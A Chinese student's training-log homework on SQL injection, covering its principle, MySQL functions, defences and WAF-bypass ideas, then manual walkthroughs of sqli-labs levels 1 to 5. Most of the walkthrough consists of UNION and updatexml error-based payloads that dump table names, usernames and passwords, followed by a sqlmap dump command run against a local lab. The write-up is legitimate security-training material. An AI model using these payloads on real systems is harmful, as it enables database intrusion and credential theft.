Bootstrap

实训日志day5

day5作业:

1.总结SQL注入原理、常用函数及含义,防御手段,常用绕过waf的方法
2.总结SQLi的手工注入的步骤
3.sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
4.使用sqlmap通过或验证第六关


1.sql注入

1.1注入原理

SQL注入攻击利用应用程序未正确处理用户输入来操控数据库。攻击者插入恶意SQL代码,修改查

询逻辑,实现未经授权的操作。

1.2常用函数及含义

version():查询数据库的版本

user():查询数据库的使用者

database():数据库

system_user():系统用户名

session_user():连接数据库的用户名

current_user():当前用户名

load_file():读取本地文件

@@datadir:读取数据库路径

@@basedir:mysql安装路径

@@version_complie_os:查看操作系统

ascii(str):返回给定字符的ascii值。如果str是空字符串,返回0如果str是NULL,返回NULL。如 ascii("a")=97

length(str) : 返回给定字符串的长度,如 length("string")=6

substr(string,start,length):对于给定字符串string,从start位开始截取,截取length长度 ,如substr("chinese",3,2)="in"

substr()、stbstring()、mid() :三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,'*',str2):将字符串str1和str2的数据查询到一起,中间用*连接

group_concat(username) :将username所有数据查询在一起,用逗号连接

limit 0,1:查询第1个数 limit 1,1:查询第2个数

1.3防御手段

参数化查询:将SQL语句与参数分开处理,避免直接拼接用户输入。

存储过程:将SQL逻辑封装在数据库端的存储过程里,减少直接操作SQL的风险。

输入验证:对用户输入进行严格验证,检查数据类型、长度、格式等,防止恶意数据。

最小权限原则:数据库账户只授予最低必要的权限,防止被利用执行敏感操作。

1.4waf绕过

编码绕过:将注入代码使用URL编码或十六进制编码隐藏。

时间延迟攻击:利用SLEEP或WAITFOR DELAY等函数,在数据库执行中引入延迟,检测响应时间。

注释符号:使用SQL注释(如--或/*...*/)去除多余的SQL代码,如在' OR '1'='1后使用注释,避免被WAF检测。

不同字符集:在SQL注入中使用不同字符集编码的字符,绕过基于模式的检测。

2.手工注入

判断数据库类型

判断当前数据库名

判断当前数据库中的表

判断字段中的数据

3.sqli-labs

第一关

?id=1'order by 3 --+正确

?id=1'order by 4 --+报错

字段数为3

?id=-1'union select 1,2,3--+

找回显

?id=-1'union select 1,database(),version()--+

找库名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

找表名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

找字段

第二关

?id=1 order by 3


?id=-1 union select 1,2,3


?id=-1 union select 1,database(),version()


?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'


?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'


?id=-1 union select 1,2,group_concat(username ,id , password) from users

第三关

?id=2')--+


?id=1') order by 3--+


?id=-1') union select 1,2,3--+


?id=-1') union select 1,database(),version()--+


?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

第四关

?id=1") order by 3--+


?id=-1") union select 1,2,3--+


?id=-1") union select 1,database(),version()--+


?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+


?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关

?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

4.sqlmap

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-6/index.php?id=1" --technique E -D security -T users --dump --batch

;